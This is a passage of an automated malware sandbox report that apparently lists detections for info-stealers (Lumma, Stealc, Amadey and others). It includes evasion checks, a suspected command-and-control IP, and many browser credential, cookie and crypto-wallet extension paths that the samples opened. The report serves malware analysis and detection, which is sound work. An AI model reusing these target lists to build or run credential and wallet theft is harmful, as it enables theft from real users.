                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017193001\fd98346557.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Windows\System32\svchost.exeQueries volume information: unknown VolumeInformation
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeQueries volume information: C:\ VolumeInformation
                                      Source: C:\Users\user\Desktop\file.exeCode function: 0_2_0087CBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,0_2_0087CBEA
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006FDBA0 GetVersionExW,GetVersionExW,GetModuleHandleW,GetProcAddress,11_2_006FDBA0
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: procmon.exe
                                      Source: fd98346557.exe, 00000025.00000003.2993863881.00000000071FF000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: wireshark.exe
                                      Source: 1f3cab3382.exe, 00000026.00000003.3298148601.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3298961968.0000000000D9C000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3304172750.0000000005B2C000.00000004.00000800.00020000.00000000.sdmp, 1f3cab3382.exe, 00000026.00000003.3303786418.0000000000DA0000.00000004.00000020.00020000.00000000.sdmp, 1f3cab3382.exe, 00000028.00000003.3463195420.0000000000B5C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
                                      Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
                                      Source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

                                      Stealing of Sensitive Information

                                      barindex
                                      Yara detected Amadeys stealer DLL
                                      Source: Yara matchFile source: 2.2.skotes.exe.a80000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 0.2.file.exe.860000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 3.2.skotes.exe.a80000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 00000003.00000003.2176314618.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000000.00000003.2144231187.0000000004EA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000000.00000002.2184521410.0000000000861000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000006.00000003.2596325671.0000000005210000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000003.00000002.2216554116.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000002.00000002.2214523787.0000000000A81000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000002.00000003.2173671552.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Yara detected Credential Flusher
                                      Source: Yara matchFile source: Process Memory Space: 0d11b39aa9.exe PID: 7148, type: MEMORYSTR
                                      Yara detected Cryptbot
                                      Source: Yara matchFile source: dump.pcap, type: PCAP
                                      Yara detected LummaC Stealer
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 5360, type: MEMORYSTR
                                      Source: Yara matchFile source: sslproxydump.pcap, type: PCAP
                                      Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: 1f3cab3382.exe PID: 1256, type: MEMORYSTR
                                      Yara detected PureLog Stealer
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3cc94e0.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.0.1eb4b174fd.exe.5f0000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3cc94e0.0.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe, type: DROPPED
                                      Source: Yara matchFile source: C:\Users\user\AppData\Local\Temp\1017192001\1eb4b174fd.exe, type: DROPPED
                                      Yara detected Stealc
                                      Source: Yara matchFile source: 00000027.00000003.3179461866.0000000004C40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: Process Memory Space: d173cd9705.exe PID: 5832, type: MEMORYSTR
                                      Source: Yara matchFile source: dump.pcap, type: PCAP
                                      Yara detected zgRAT
                                      Source: Yara matchFile source: 35.2.1eb4b174fd.exe.3c83198.2.raw.unpack, type: UNPACKEDPE
                                      Found many strings related to Crypto-Wallets (likely being stolen)
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Wallets/Electrum-LTC
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Wallets/ElectronCash
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: window-state.json
                                      Source: 1f3cab3382.exe, 00000026.00000003.3250651286.0000000000D83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
                                      Source: 1f3cab3382.exe, 00000026.00000003.3278889932.0000000000D82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wallet","m":["*"],"z":"Was
                                      Source: 1f3cab3382.exe, 00000026.00000003.3278889932.0000000000D82000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: Wallets/Exodus
                                      Source: 1eb4b174fd.exe, 00000024.00000002.3074058221.00000000014AA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\Ethereum
                                      Source: 1f3cab3382.exe, 00000026.00000003.3250651286.0000000000D83000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
                                      Source: 1eb4b174fd.exe, 00000023.00000002.2880375095.0000000002D42000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: cryptoKeyStore2dnoa.return_to_sig_handle$dnoa.return_to_sigXThe return_to signature failed verification.
                                      Source: 1f3cab3382.exe, 00000026.00000003.3249083501.0000000000D3C000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: %appdata%\Electrum-LTC\wallets\
                                      Leaks process information
                                      Source: global trafficTCP traffic: 192.168.2.5:49905 -> 185.185.71.170:80
                                      Tries to harvest and steal Bitcoin Wallet information
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core
                                      Tries to harvest and steal browser information (history, passwords, etc)
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
                                      Source: C:\Users\user\AppData\Local\Temp\1017195001\d173cd9705.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad
